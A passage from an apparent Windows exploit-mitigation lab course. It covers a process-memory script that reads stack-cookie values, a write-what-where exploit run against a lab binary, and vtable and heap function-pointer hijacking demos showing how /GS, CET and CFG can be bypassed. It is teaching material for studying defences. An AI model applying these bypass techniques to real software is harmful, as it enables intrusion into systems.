`__security_cookie` from a running process by\nparsing the PE export directory and `.data` section. Requires the target\nprocess to be compiled with debug symbols or the cookie offset found via\n`dumpbin`.\n\n```python\n# cookie_analyzer.py\n# Reads __security_cookie from a target Windows process.\n#\n# Usage:\n#   python cookie_analyzer.py \u003Cpid> \u003Ccookie_rva>\n#\n# Find cookie_rva with:\n#   dumpbin \u002Fsymbols bin\\realworld_server.exe | findstr __security_cookie\n#   # Example: 00000000000A4560  __security_cookie\n#   # RVA = 0xA4560\n#\n# Or in WinDbg:\n#   x realworld_server!__security_cookie\n#   # Subtract module base to get RVA\n\nimport ctypes\nfrom ctypes import wintypes\nimport struct\nimport sys\n\nkernel32 = ctypes.WinDLL('kernel32', use_last_error=True)\npsapi = ctypes.WinDLL('psapi', use_last_error=True)\n\n# Process access rights\nPROCESS_VM_READ = 0x0010\nPROCESS_QUERY_INFORMATION = 0x0400\n\n\ndef read_process_memory(handle, address, size):\n    \"\"\"Read 'size' bytes from 'address' in the target process.\"\"\"\n    buffer = ctypes.create_string_buffer(size)\n    bytes_read = ctypes.c_size_t()\n    ok = kernel32.ReadProcessMemory(\n        handle,\n        ctypes.c_void_p(address),\n        buffer,\n        size,\n        ctypes.byref(bytes_read)\n    )\n    if not ok:\n        err = ctypes.get_last_error()\n        print(f\"  [!] ReadProcessMemory failed at 0x{address:016X}: error {err}\")\n        return b\"\"\n    return buffer.raw[:bytes_read.value]\n\n\ndef get_module_base(handle):\n    \"\"\"\n    Get the base address of the main module (the EXE) in the target process.\n    Uses EnumProcessModulesEx — the first module is always the EXE itself.\n    \"\"\"\n    hMods = (ctypes.c_void_p * 1024)()\n    cbNeeded = wintypes.DWORD()\n    ok = psapi.EnumProcessModulesEx(\n        handle,\n        ctypes.byref(hMods),\n        ctypes.sizeof(hMods),\n        ctypes.byref(cbNeeded),\n        0x03  # LIST_MODULES_ALL\n    )\n    if not ok:\n        print(f\"  [!] EnumProcessModulesEx failed: {ctypes.get_last_error()}\")\n        return None\n\n    # First module = main EXE\n    base = hMods[0]\n    if base is None or base == 0:\n        return None\n\n    # hMods[0] returns a Python int from c_void_p — use it directly for math,\n    # but wrap in ctypes.c_void_p() when passing to API calls (large x64\n    # addresses like 0x7FF6XXXXXXXX overflow if passed as plain int)\n    mod_name = ctypes.create_string_buffer(260)\n    psapi.GetModuleBaseNameA(handle, ctypes.c_void_p(base), mod_name, 260)\n\n    print(f\"  [*] Main module: {mod_name.value.decode()} @ 0x{base:016X}\")\n    return base\n\n\ndef analyze_cookie(pid, cookie_rva):\n    \"\"\"\n    Read __security_cookie from a target process.\n\n    The global __security_cookie is stored at a fixed RVA in the PE.\n    It's initialized at process startup from entropy sources:\n      - GetSystemTimeAsFileTime\n      - GetCurrentProcessId \u002F GetCurrentThreadId\n      - QueryPerformanceCounter\n      - Stack address\n\n    On the stack, the cookie is XOR'd with RBP (x86) or RSP (x64)\n    before being stored. The epilogue XORs again and compares with\n    the global value. If they don't match -> __fastfail(2).\n    \"\"\"\n    handle = kernel32.OpenProcess(\n        PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,\n        False,\n        pid\n    )\n    if not handle:\n        print(f\"[!] Failed to open PID {pid}: error {ctypes.get_last_error()}\")\n        print(\"    Ensure you have debug privileges (run as Administrator).\")\n        return\n\n    print(f\"[*] Opened PID {pid}\")\n\n    # Step 1: Find main module base address\n    base = get_module_base(handle)\n    if base is None:\n        print(\"[!] Could not determine module base\")\n        kernel32.CloseHandle(handle)\n        return\n\n    # Step 2: Read __security_cookie at base + RVA\n    cookie_addr = base + cookie_rva\n    print(f\"  [*] __security_cookie @ 0x{cookie_addr:016X} (base + 0x{cookie_rva:X})\")\n\n    data = read_process_memory(handle, cookie_addr, 8)\n    if len(data) \u003C 8:\n        print(\"[!] Failed to read cookie value\")\n        kernel32.CloseHandle(handle)\n        return\n\n    cookie = struct.unpack('\u003CQ', data)[0]\n    print(f\"  [+] __security_cookie = 0x{cookie:016X}\")\n\n    # Step 3: Analyze cookie properties\n    print(f\"\\n[*] Cookie Analysis:\")\n    print(f\"  Entropy bits: {bin(cookie).count('1')} of 64 set\")\n\n    # Check for weak\u002Fdefault cookies (should never appear in release)\n    WEAK_COOKIES = [\n        0x00002B992DDFA232,  # Default x64 cookie (uninitialized)\n        0x0000BB40E64E6917,  # Another known default\n        0x00000000BB40E64E,  # 32-bit default\n    ]\n    if cookie in WEAK_COOKIES:\n        print(f\"  [!] WARNING: Default\u002Fweak cookie detected!\")\n        print(f\"      This means __security_init_cookie() may not have run.\")\n    else:\n        print(f\"  [*] Cookie appears properly randomized\")\n\n    # Check high 16 bits (should be non-zero for good entropy)\n    if (cookie >> 48) == 0:\n        print(f\"  [!] WARNING: Upper 16 bits are zero — reduced entropy\")\n        print(f\"      Expected full 64-bit entropy on x64 Windows 8+\")\n    else:\n        print(f\"  [*] Full 64-bit entropy present\")\n\n    # Step 4: Read .data section to find other interesting values nearby\n    # The cookie is typically near the start of .data\n    print(f\"\\n[*] Memory around cookie (±32 bytes):\")\n    context_data = read_process_memory(handle, cookie_addr - 32, 72)\n    if context_data:\n        for i in range(0, len(context_data), 8):\n            offset = i - 32\n            val = struct.unpack('\u003CQ', context_data[i:i+8])[0]\n            marker = \" \u003C-- __security_cookie\" if offset == 0 else \"\"\n            print(f\"  [{offset:+4d}] 0x{val:016X}{marker}\")\n\n    kernel32.CloseHandle(handle)\n    print(f\"\\n[*] Done. To see the stack-stored (XOR'd) cookie:\")\n    print(f\"    Attach WinDbg -> bp on a \u002FGS function -> examine [rsp+N]\")\n    print(f\"    Stack cookie = global cookie XOR RSP (x64)\")\n\n\nif __name__ == \"__main__\":\n    if len(sys.argv) \u003C 3:\n        print(\"Usage: python cookie_analyzer.py \u003Cpid> \u003Ccookie_rva_hex>\")\n        print(\"\")\n        print(\"Find cookie RVA:\")\n        print(\"  dumpbin \u002Fsymbols bin\\\\target.exe | findstr __security_cookie\")\n        print(\"  # Take the hex address (e.g., 00000000000A4560 -> 0xA4560)\")\n        print(\"\")\n        print(\"Example:\")\n        print(\"  # Start target in one terminal:\")\n        print(\"  bin\\\\realworld_server.exe\")\n        print(\"  # Find PID:  tasklist | findstr realworld\")\n        print(\"  # Find RVA:  dumpbin \u002Fsymbols bin\\\\realworld_server.exe | findstr __security_cookie\")\n        print(\"  python cookie_analyzer.py 1234 0xA4560\")\n        sys.exit(1)\n\n    pid = int(sys.argv[1])\n    cookie_rva = int(sys.argv[2], 16)\n    analyze_cookie(pid, cookie_rva)\n```\n\n**Expected Output**:\n\n```bash\nc:\\Windows_Mitigations_Lab> python cookie_analyzer.py 9968 0xA4560\n#[*] Opened PID 9968\n#  [*] Main module: realworld_server.exe @ 0x00007FF679980000\n#  [*] __security_cookie @ 0x00007FF679A24560 (base + 0xA4560)\n#  [+] __security_cookie = 0x00004336AA6DF55D\n#\n#[*] Cookie Analysis:\n#  Entropy bits: 25 of 64 set\n#  [*] Cookie appears properly randomized\n#  [*] Full 64-bit entropy present\n#\n#[*] Memory around cookie (±32 bytes):\n#  [ -32] 0x0000000000000000\n#  [ -24] 0x0000000000000000\n#  [ -16] 0x0000000000000001\n#  [  -8] 0x00007FF679981000\n#  [  +0] 0x00004336AA6DF55D \u003C-- __security_cookie\n#  [  +8] 0x0000000000000000\n#  [ +16] 0x0000000000000000\n#  [ +24] 0x0000000000000000\n#  [ +32] 0x0000000000000000\n#\n#[*] Done. To see the stack-stored (XOR'd) cookie:\n#    Attach WinDbg -> bp on a \u002FGS function -> examine [rsp+N]\n#    Stack cookie = global cookie XOR RSP (x64)\n```\n\n#### Task 4: Write-What-Where Lab — Global Function Pointer Attack\n\nDemonstrate that `\u002FGS` cookies are completely irrelevant when the vulnerability\nis a Write-What-Where primitive (no stack corruption needed).\n\n1. **Compile the www_vuln.c** (with `\u002FGS` enabled — it won't help):\n\n   ```bash\n   cd C:\\Windows_Mitigations_Lab\n   cl \u002FGS \u002FZi \u002FD_CRT_SECURE_NO_WARNINGS src\\www_vuln.c ^\n      \u002FFe:bin\\www_vuln.exe \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE:NO \u002FFIXED \u002FDEBUG\n   ```\n\n2. **Run the exploit** (addresses auto-parsed, no manual updates needed):\n\n   ```bash\n   python exploits\\sc_www.py\n   # Expected:\n   #   [+] dangerous_action  = 0x0000000140001E33\n   #   [+] cleanup_handler   @ 0x00000001400A4568 (address of global variable)\n   #   [*] Payload (48 bytes):\n   #   [*]   [36..39]  value: 0x40001E33 (low dword of dangerous_action)\n   #   [*]   [40..47]  target: 0x00000001400A4568 (&cleanup_handler)\n   #   [!] PWNED! Running dangerous action!\n   #   [+] Clean exit (0x0) — cookie was never corrupted\n   ```\n\n3. **Verify cookie was untouched** — the exit code is `0x0` (clean), not `0xc0000409`.\n   The `fread` reads exactly `sizeof(WriteRequest)` = 48 bytes into the struct.\n   No bytes overflow past the struct into the stack cookie.\n\n4. **Compare with stack-based attacks**: In Techniques 1-3, we corrupted function\n   pointers that were struct members on the **stack**. Here, we use struct fields\n   as **parameters** to an arbitrary write that targets a **global** function pointer.\n   The stack cookie is simply never involved.\n\n5. **Key insight**: `\u002FGS` only detects corruption of the stack frame between the\n   buffer and the return address. Writes to globals, heap, or other non-stack\n   targets bypass `\u002FGS` entirely. This is why defense-in-depth matters.\n\n### Key Takeaways\n\n1. **Stack cookies are bypassable through multiple vectors**: Information leaks (format string -> cookie recovery), struct-based function pointer overwrites (C standard §6.7.2.1 guarantees member order, `\u002FGS` does NOT reorder struct internals), exception-based bypasses (cookie checked at `ret`, not at exception), and Write-What-Where primitives (target globals, never touch the cookie)\n2. **`\u002FGS` variable reordering has a critical blind spot**: While `\u002FGS` moves arrays to higher stack addresses (next to the cookie), it cannot reorder **struct members** — the C standard requires preserved declaration order. Placing a buffer and function pointer in the same struct creates an exploitable layout that `\u002FGS` cannot fix\n3. **CET shadow stacks completely block return address hijacking**: Not \"makes it harder\" — **impossible**. The shadow stack is a hardware-protected copy of return addresses. Every `RET` compares both copies; mismatch -> `#CP` exception -> kernel kills the process via `__fastfail` -> exit code `0x80000003` (STATUS_BREAKPOINT). No user-mode recovery. This is why data-only and indirect `CALL` attacks are the modern approach\n4. **CFG is coarse-grained — proven empirically**: MSVC CFG (`\u002Fguard:cf`) checks \"is the target ANY valid function entry point?\" — NOT \"should THIS call site call THAT function.\" We proved this: redirecting `safe_handler` -> `dangerous_handler` passes CFG because `dangerous_handler` is a valid function. Only `dangerous_handler+4` (mid-function) is blocked with `0x80000003`. Fine-grained CFI (Clang `-fsanitize=cfi`) validates type signatures and would block this\n5. **Data-only attacks bypass \u002FGS + CET + coarse-grained CFG simultaneously**: Corrupting a security flag (`is_admin` in Technique 4), a function pointer in a struct (Techniques 1-3), or a global function pointer via Write-What-Where (Scenario 2) — none of these trigger any of the three mitigations\n6. **Exception-based timing window**: `\u002FGS` cookies are validated at function **return** (`__security_check_cookie` in the epilogue). If an exception fires between the overflow and the return, the `__except` handler reads already-corrupted data before the cookie is ever checked. On x64, this is NOT an SEH chain overwrite (impossible — table-based `.pdata`), but a data-corruption-before-check attack\n7. **MSVCRT format strings differ from glibc in exploit-critical ways**:\n   - `%p` prints bare hex (`000000000014FA48`) — no `0x` prefix\n   - Positional `%N$x` is NOT supported — must use sequential `%p` and count offsets\n   - `printf(\"%s\", NULL)` prints `(null)` instead of crashing — cannot trigger exceptions this way\n   - `_vsnprintf` buffer size limits how many values you can leak (512 bytes \u002F 17 chars per `%p.` ≈ 30 values)\n8. **ASLR interacts with all techniques**: With ASLR enabled (`\u002FDYNAMICBASE`), leaked code pointers are 64KB-aligned-randomized. Partial overwrites (Technique 2) become harder because upper address bytes are randomized. Format string leaks are the primary ASLR defeat mechanism (leak -> calculate base -> build payload)\n9. **Defense in depth is essential — no single mitigation is sufficient**:\n   - `\u002FGS` alone: bypassed by structs, exceptions, WWW, info leaks\n   - CFG alone: bypassed by valid function redirects, data-only attacks\n   - CET alone: bypassed by indirect CALL attacks, data-only attacks\n   - ASLR alone: bypassed by info leaks (format strings, side channels)\n   - All together: significantly raises the bar, but data-only attacks targeting application logic (not control flow) remain viable\n\n### Discussion Questions\n\n1. **Can you overflow past the stack cookie without corrupting it?**\n   Yes — three proven methods from this lab:\n   (a) Struct members: overflow within a struct corrupts the function pointer at a known offset but never reaches the cookie (Techniques 1-3).\n   (b) Write-What-Where: use overflow to control struct fields that parameterize an arbitrary write to a global pointer (Scenario 2).\n   (c) Exception window: corrupt data before the cookie is checked — the `__except` handler reads corrupted values mid-function (Technique 4).\n\n2. **What happens if you leak the stack cookie value? Can CET still protect you?**\n   Leaking the cookie lets you place the correct value in your overflow payload, surviving the `\u002FGS` epilogue check. However, on CET-enabled systems, the return address is also validated against the shadow stack — the attacker cannot modify the shadow stack from user mode. So even with a leaked cookie, ROP\u002Freturn address overwrites are blocked. The attacker must use data-only techniques (struct function pointers, global pointers, security flags) that don't involve `RET` hijacking.\n\n3. **Why does CFG allow redirecting `safe_handler` -> `dangerous_handler`? What would block it?**\n   CFG maintains a bitmap of valid function entry points. `dangerous_handler` IS a valid function entry, so CFG allows the call. CFG doesn't check \"should this specific call site call this specific function\" — it only checks \"is the target a function entry at all.\" This is coarse-grained CFI. Fine-grained CFI (e.g., Clang's `-fsanitize=cfi`) would block this by verifying the function pointer's type signature matches the call site's expected signature. MSVC's XFG (eXtended Flow Guard) also adds type-based hashing but is not yet widely deployed.\n\n4. **Why is SafeSEH only for 32-bit applications?**\n   On x86, the SEH chain is stored on the stack — the attacker can overwrite exception handler pointers via buffer overflow. SafeSEH validates handlers against a table of known-good handlers. On x64, Windows uses table-based exception handling: `RUNTIME_FUNCTION` entries in the read-only `.pdata` PE section map instruction ranges to unwind info. The SEH chain doesn't exist on the stack, so there's nothing to overwrite. SafeSEH is unnecessary on x64 because the attack vector it protects against doesn't exist.\n\n5. **If CET blocks return address overwrites, what attack classes remain viable?**\n   Proven in this lab:\n   - Struct-based function pointer corruption (indirect `CALL`, not `RET`) — Techniques 1-3\n   - Data-only attacks (corrupt `is_admin`, config flags, file paths) — Technique 4\n   - Write-What-Where to global function pointers — Scenario 2\n   - JOP (Jump-Oriented Programming) — uses `JMP`, not `RET`\n   - COP (Call-Oriented Programming) — uses `CALL`, not `RET`\n   - Heap-based attacks (vtable overwrites via heap corruption) — not covered in depth here but CFG coarse-grained limitation applies\n\n## Day 3: Control Flow Integrity (CFG, CET, XFG)\n\n- **Goal**: Understand modern control-flow protection mechanisms.\n- **Activities**:\n  - _Reading_:\n    - [Control Flow Guard](https:\u002F\u002Flearn.microsoft.com\u002Fen-us\u002Fwindows\u002Fwin32\u002Fsecbp\u002Fcontrol-flow-guard)\n    - [Intel CET Documentation](https:\u002F\u002Fwww.intel.com\u002Fcontent\u002Fwww\u002Fus\u002Fen\u002Fdeveloper\u002Farticles\u002Ftechnical\u002Ftechnical-look-control-flow-enforcement-technology.html)\n  - _Online Resources_:\n    - [CFG Internals](https:\u002F\u002Fblackhat.com\u002Fdocs\u002Fus-15\u002Fmaterials\u002Fus-15-Zhang-Bypass-Control-Flow-Guard-Comprehensively-wp.pdf)\n    - [CET Deep Dive](https:\u002F\u002Fcdrdv2-public.intel.com\u002F784473\u002F784473_Intel%20Platform%20Security.pdf)\n  - _Tool Setup_:\n    - Windows 11 24H2 (for CET support)\n    - Visual Studio 2022\n    - WinDbg Preview\n  - _Exercise_:\n    - Enable CFG and test indirect call protection\n    - Verify CET shadow stack\n    - Observe XFG strict enforcement\n\n### Control Flow Guard (CFG)\n\n**What is CFG?**:\n\n- Validates indirect call\u002Fjump targets\n- Prevents control-flow hijacking\n- Introduced in Windows 8.1\u002F10\n- Compiler + OS enforcement\n\n**How CFG Works**:\n\n```c\n\u002F\u002F Without CFG:\nvoid (*func_ptr)() = user_controlled_value;\nfunc_ptr();  \u002F\u002F Jumps anywhere!\n\n\u002F\u002F With CFG:\nvoid (*func_ptr)() = user_controlled_value;\n\u002F\u002F Compiler inserts:\nif (!__guard_check_icall_fptr(func_ptr)) {\n    __guard_icall_failure(func_ptr);  \u002F\u002F Terminates\n}\nfunc_ptr();  \u002F\u002F Only if valid target\n```\n\n### CFG Protection Scope: What It Blocks vs. What It Doesn't\n\n> [!IMPORTANT]\n> **CFG is forward-edge CFI only.** It validates indirect calls and jumps, but does NOT\n> protect return addresses (backward-edge). ROP attacks using `ret` instructions are\n> NOT blocked by CFG—that's what CET Shadow Stack is for.\n\n**CFG Protection Matrix**:\n\n| Attack Type                         | CFG Blocks? | Why \u002F Why Not                                       |\n| ----------------------------------- | ----------- | --------------------------------------------------- |\n| **Indirect call to shellcode**      | Yes         | Shellcode address not in valid target bitmap        |\n| **Indirect call to non-CFG DLL**    | Yes         | Non-CFG module functions not marked valid           |\n| **vtable pointer overwrite**        | Yes\\*       | \\*Only if call site is CFG-instrumented             |\n| **Function pointer overwrite**      | Yes\\*       | \\*Only if the call site uses `__guard_check_icall`  |\n| **ROP chain (using `ret`)**         | No          | CFG doesn't validate return addresses               |\n| **Direct call to attacker code**    | No          | Direct calls (`call 0x1234`) not validated          |\n| **JOP (jump-oriented programming)** | Partial     | CFG validates `jmp [reg]` but not all gadget chains |\n| **Data-only attacks**               | No          | CFG only protects control flow, not data            |\n| **Calling valid but dangerous API** | No          | `VirtualProtect` is a valid CFG target              |\n| **Type confusion (same signature)** | No          | CFG doesn't check function types (XFG does)         |\n\n**Key Limitations to Understand**:\n\n```text\nCFG Limitation 1: Forward-Edge Only\n-----------------------------------\nCFG validates: call [rax], jmp [rax]\nCFG ignores:   ret (return instructions)\n\nROP chains work because 'ret' pops address from stack and jumps.\nCFG doesn't check these - the attacker controls the stack.\n\nCFG Limitation 2: Call Site Must Be Instrumented\n------------------------------------------------\nCFG check only happens if:\n1. Binary compiled with \u002Fguard:cf\n2. Specific call site has guard check instrumentation\n\nIf the call site is in non-CFG code, NO validation occurs!\n\nCFG Limitation 3: All Valid Functions Are Fair Game\n---------------------------------------------------\nIf attacker overwrites function pointer to point to:\n- VirtualProtect (valid target) -> Can make shellcode executable\n- WinExec (valid target) -> Can execute arbitrary commands\n- Any exported function -> These are all \"valid\"\n\nThis is why XFG (type checking) was developed.\n```\n\n**Lab: VTable Hijacking vs. CFG (C++)**\n\nWeek 5 touched on VTable smashing. This lab demonstrates the coarse-grained\nnature of CFG: it blocks calls to shellcode or mid-function addresses, but\nALLOWS calls to valid function entries — even if the function was never\nintended to be called from that call site.\n\nCreate `src\\vtable_cfg_test.cpp`:\n\n```cpp\n\u002F\u002F vtable_cfg_test.cpp\n\u002F\u002F Demonstrates CFG's coarse-grained behavior with vtable hijacking.\n\u002F\u002F\n\u002F\u002F Test 1: Redirect vtable to malicious_code (a valid function entry)\n\u002F\u002F         -> CFG ALLOWS this because malicious_code is in the CFG bitmap!\n\u002F\u002F Test 2: Redirect vtable to a shellcode address (not a valid function)\n\u002F\u002F         -> CFG BLOCKS this with __fastfail -> exit code 0x80000003\n\u002F\u002F\n\u002F\u002F This proves CFG only checks \"is target a valid function entry?\"\n\u002F\u002F — NOT \"should this virtual call dispatch to that function?\"\n\n#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n#include \u003Cstring.h>\n#include \u003Cwindows.h>\n\nclass Shape {\npublic:\n    virtual void draw() { printf(\"[*] Drawing Shape\\n\"); }\n    virtual ~Shape() {}\n};\n\nclass Circle : public Shape {\npublic:\n    void draw() override { printf(\"[*] Drawing Circle\\n\"); }\n};\n\nvoid malicious_code() {\n    printf(\"[!] PWNED: Malicious code executed!\\n\");\n    printf(\"[!] This proves CFG is coarse-grained — malicious_code\\n\");\n    printf(\"    is a valid function entry, so CFG allowed the call.\\n\");\n    fflush(stdout);\n}\n\nint main(int argc, char **argv) {\n    int test_mode = 1;  \u002F\u002F Default: test 1 (valid function redirect)\n    if (argc > 1) test_mode = atoi(argv[1]);\n\n    Shape* shape = new Circle();\n    printf(\"[*] Shape object at: %p\\n\", shape);\n    printf(\"[*] Original VTable pointer: %p\\n\", *(void**)shape);\n    fflush(stdout);\n\n    if (test_mode == 1) {\n        \u002F\u002F TEST 1: Redirect to a valid function entry\n        \u002F\u002F CFG bitmap has malicious_code marked as valid -> call ALLOWED\n        printf(\"\\n[*] TEST 1: Redirect vtable to malicious_code (valid entry)\\n\");\n        void* fake_vtable[] = { (void*)&malicious_code, NULL };\n        printf(\"[*] Fake vtable at %p -> malicious_code at %p\\n\",\n               fake_vtable, (void*)&malicious_code);\n        *(void**)shape = fake_vtable;\n        printf(\"[*] Calling shape->draw()...\\n\");\n        fflush(stdout);\n        shape->draw();  \u002F\u002F CFG ALLOWS — malicious_code is a valid function!\n        printf(\"[+] Call succeeded (CFG allowed it)\\n\");\n    }\n    else if (test_mode == 2) {\n        \u002F\u002F TEST 2: Redirect to arbitrary address (NOT a valid function)\n        \u002F\u002F 0xDEADDEAD is not in CFG bitmap -> call BLOCKED\n        printf(\"\\n[*] TEST 2: Redirect vtable to 0xDEADDEAD (invalid)\\n\");\n        void* bad_vtable[] = { (void*)0xDEADDEAD, NULL };\n        *(void**)shape = bad_vtable;\n        printf(\"[*] Calling shape->draw()...\\n\");\n        fflush(stdout);\n        shape->draw();  \u002F\u002F CFG BLOCKS — 0xDEADDEAD not in bitmap!\n        printf(\"[-] Should not reach here\\n\");\n    }\n\n    delete shape;\n    return 0;\n}\n```\n\n**Compile & Run**:\n\n```bash\n# Save to C:\\Windows_Mitigations_Lab\\src\\vtable_cfg_test.cpp\ncd C:\\Windows_Mitigations_Lab\n\n# 1. Without CFG — both tests \"work\" (no validation)\ncl \u002FEHsc \u002FZi src\\vtable_cfg_test.cpp \u002FFe:bin\\vtable_no_cfg.exe \u002Flink \u002FDEBUG\n.\\bin\\vtable_no_cfg.exe 1\n# [!] PWNED: Malicious code executed!\n.\\bin\\vtable_no_cfg.exe 2\n# (Process crashes - Access violation at 0xDEADDEAD)\n\n# 2. With CFG — Test 1 STILL works! Test 2 is blocked.\ncl \u002FEHsc \u002FZi \u002Fguard:cf src\\vtable_cfg_test.cpp \u002FFe:bin\\vtable_cfg.exe \u002Flink \u002Fguard:cf \u002FDEBUG\n.\\bin\\vtable_cfg.exe 1\n# [!] PWNED: Malicious code executed!\n# [!] This proves CFG is coarse-grained — malicious_code\n\n.\\bin\\vtable_cfg.exe 2\n# (Process killed by __fastfail - Exit code: 0x80000003 via int 0x29)\n# CFG blocks it — 0xDEADDEAD is NOT in the CFG bitmap\n```\n\n> [!WARNING]\n> **CFG does NOT prevent vtable-to-valid-function redirects!** `malicious_code` is a\n> legitimate function entry point in the binary, so CFG allows the call. This is the\n> same coarse-grained limitation proven in Day 2 Technique 3: CFG checks \"is target\n> ANY valid function?\" — not \"should THIS vtable dispatch THAT function.\"\n> Only XFG (type-hash validation) or Clang's `-fsanitize=cfi` would block this.\n\n**Verifying CFG Instrumentation at Call Sites**:\n\n```bash\n# Example with CFG-enabled binary (vtable_cfg.exe):\ndumpbin \u002Fheaders \u002Floadconfig bin\\vtable_cfg.exe | findstr -i \"guard\"\n#    00000001400B8000 Guard CF address of check-function pointer\n#    00000001400B8020 Guard CF address of dispatch-function pointer\n#    00000001400B7000 Guard CF function table\n#                  6D Guard CF function count        ← 109 functions protected\n#            10014500 Guard Flags                    ← CF Instrumented (bit 0x10000000)\n#    00000001400B8010 Guard XFG address of check-function pointer\n\n# Example without CFG (vtable_no_cfg.exe):\ndumpbin \u002Fheaders \u002Floadconfig bin\\vtable_no_cfg.exe | findstr -i \"guard\"\n#    00000001400A6000 Guard CF address of check-function pointer\n#    00000001400A6020 Guard CF address of dispatch-function pointer\n#    0000000000000000 Guard CF function table        ← No table (null)\n#                   0 Guard CF function count        ← Zero functions protected\n#            00000100 Guard Flags                    ← NOT instrumented (no 0x10000000)\n\n# Key differences:\n#   CFG Enabled:  Guard CF function count > 0, Guard Flags has 0x10000000 bit set\n#   CFG Disabled: Guard CF function count = 0, Guard Flags = 0x100 (reserved bits only)\n```\n\n**Exercise: CFG Heap Function Pointer Overwrite — Coarse vs Fine Grained**:\n\n```c\n\u002F\u002F cfg_heap_test.c\n\u002F\u002F Demonstrates the coarse-grained nature of CFG with heap function pointers.\n\u002F\u002F\n\u002F\u002F Test 1 (mode 1): Overwrite with malicious_code (valid function entry)\n\u002F\u002F   -> CFG ALLOWS because malicious_code is in the CFG bitmap\n\u002F\u002F Test 2 (mode 2): Overwrite with arbitrary address (not a function entry)\n\u002F\u002F   -> CFG BLOCKS with __fastfail -> exit code 0x80000003\n\u002F\u002F\n\u002F\u002F Lesson: CFG prevents shellcode\u002FROP via indirect calls, but does NOT\n\u002F\u002F prevent redirecting to valid-but-dangerous functions.\n\n#include \u003Cwindows.h>\n#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\ntypedef void (*Callback)(void);\n\nvoid legitimate_callback() {\n    printf(\"[*] Legitimate callback called\\n\");\n}\n\nvoid malicious_code() {\n    printf(\"[!] MALICIOUS CODE EXECUTED!\\n\");\n    printf(\"[!] CFG allowed this — malicious_code is a valid function entry.\\n\");\n    fflush(stdout);\n}\n\nint main(int argc, char **argv) {\n    int mode = 1;  \u002F\u002F 1 = valid function, 2 = invalid address\n    if (argc > 1) mode = atoi(argv[1]);\n\n    Callback* cb_table = (Callback*)HeapAlloc(GetProcessHeap(), 0, sizeof(Callback) * 4);\n    cb_table[0] = legitimate_callback;\n    cb_table[1] = legitimate_callback;\n    cb_table[2] = legitimate_callback;\n\n    printf(\"[*] Callback table at: %p\\n\", cb_table);\n    printf(\"[*] Original cb_table[2]: %p (legitimate_callback)\\n\",\n           (void*)cb_table[2]);\n    fflush(stdout);\n\n    if (mode == 1) {\n        printf(\"[*] Mode 1: Overwriting cb_table[2] with malicious_code (valid entry)\\n\");\n        cb_table[2] = malicious_code;\n    } else {\n        printf(\"[*] Mode 2: Overwriting cb_table[2] with 0xDEADDEAD (invalid)\\n\");\n        cb_table[2] = (Callback)0xDEADDEAD;\n    }\n\n    printf(\"[*] cb_table[2] now: %p\\n\", (void*)cb_table[2]);\n    printf(\"[*] Calling through corrupted pointer...\\n\");\n    fflush(stdout);\n\n    cb_table[2]();  \u002F\u002F CFG check happens here\n\n    printf(\"[*] Call returned.\\n\");\n    HeapFree(GetProcessHeap(), 0, cb_table);\n    return 0;\n}\n```\n\n**Compile & Run**:\n\n```bash\n# Save to C:\\Windows_Mitigations_Lab\\src\\cfg_heap_test.c\ncd C:\\Windows_Mitigations_Lab\n\n# Compile WITH CFG\ncl \u002FZi \u002Fguard:cf src\\cfg_heap_test.c \u002FFe:bin\\cfg_heap_test.exe \u002Flink \u002Fguard:cf \u002FDEBUG\n\n# Test 1: Redirect to valid function -> CFG ALLOWS\n.\\bin\\cfg_heap_test.exe 1\n# [*] Callback table at: 0000017CCDFDE660\n# [*] Original cb_table[2]: 00007FF656727AA0 (legitimate_callback)\n# [*] Mode 1: Overwriting cb_table[2] with malicious_code (valid entry)\n# [*] cb_table[2] now: 00007FF656725140\n# [*] Calling through corrupted pointer...\n# [!] MALICIOUS CODE EXECUTED!\n# [!] CFG allowed this — malicious_code is a valid function entry.\n# [*] Call returned.\n# Exit code: 0x0\n\n# Test 2: Redirect to invalid address -> CFG BLOCKS\n.\\bin\\cfg_heap_test.exe 2\n# [*] Callback table at: 00000290182719C0\n# [*] Original cb_table[2]: 00007FF656727AA0 (legitimate_callback)\n# [*] Mode 2: Overwriting cb_table[2] with 0xDEADDEAD (invalid)\n# [*] cb_table[2] now: 00000000DEADDEAD\n# [*] Calling through corrupted pointer...\n# (Process terminated by __fastfail - Exit code: 0x80000003)\n\n# Compile WITHOUT CFG for comparison\ncl \u002FZi src\\cfg_heap_test.c \u002FFe:bin\\cfg_heap_test_nocfg.exe \u002Flink \u002FDEBUG\n\n.\\bin\\cfg_heap_test_nocfg.exe 1\n# [*] Callback table at: 0000022F1BF8E580\n# [*] Original cb_table[2]: 00007FF7847B3152 (legitimate_callback)\n# [*] Mode 1: Overwriting cb_table[2] with malicious_code (valid entry)\n# [*] cb_table[2] now: 00007FF7847B2464\n# [*] Calling through corrupted pointer...\n# [!] MALICIOUS CODE EXECUTED!\n# [!] CFG allowed this — malicious_code is a valid function entry.\n# [*] Call returned.\n\n.\\bin\\cfg_heap_test_nocfg.exe 2\n# [*] Callback table at: 000002AFCF2F0D60\n# [*] Original cb_table[2]: 00007FF7847B3152 (legitimate_callback)\n# [*] Mode 2: Overwriting cb_table[2] with 0xDEADDEAD (invalid)\n# [*] cb_table[2] now: 00000000DEADDEAD\n# [*] Calling through corrupted pointer...\n# (Access violation crash - no CFG protection)\n```\n\n**CFG Bitmap**:\n\n- Process Creation:\n  - OS creates CFG bitmap for process\n  - Each bit represents 16-byte aligned address\n  - Bit set = valid indirect call target\n  - Bit clear = invalid\n- Runtime:\n  - Before indirect call, check bitmap\n  - If target bit is set -> allow\n  - If target bit is clear -> terminate\n\n**Valid CFG Targets**:\n\n- Function entry points (address-taken)\n- Exported functions\n- Dispatch tables\n- **Excluded**: Functions marked with `__declspec(guard(suppress))` are explicitly NOT valid targets.\n\n**CFG Check Assembly** (x64):\n\n```asm\n; Before indirect call\nmov rax, [function_pointer]\ncall [__guard_check_icall_fptr]  ; Validation\ncall rax                          ; Actual call (if valid)\n\n; __guard_check_icall_fptr:\n; - Checks if target is in CFG bitmap\n; - Returns if valid, terminates if invalid\n```\n\n#### Deep Dive: CFG Bitmap Structure and Validation\n\n**CFG Bitmap Architecture**:\n\n```text\nCFG Bitmap Memory Layout:\n-------------------------\n\nThe CFG bitmap is a large array where each BIT represents whether\na 16-byte aligned address is a valid indirect call target.\n\n> Note: With XFG enabled, the bitmap uses 2 bits per entry instead of 1,\n> encoding both 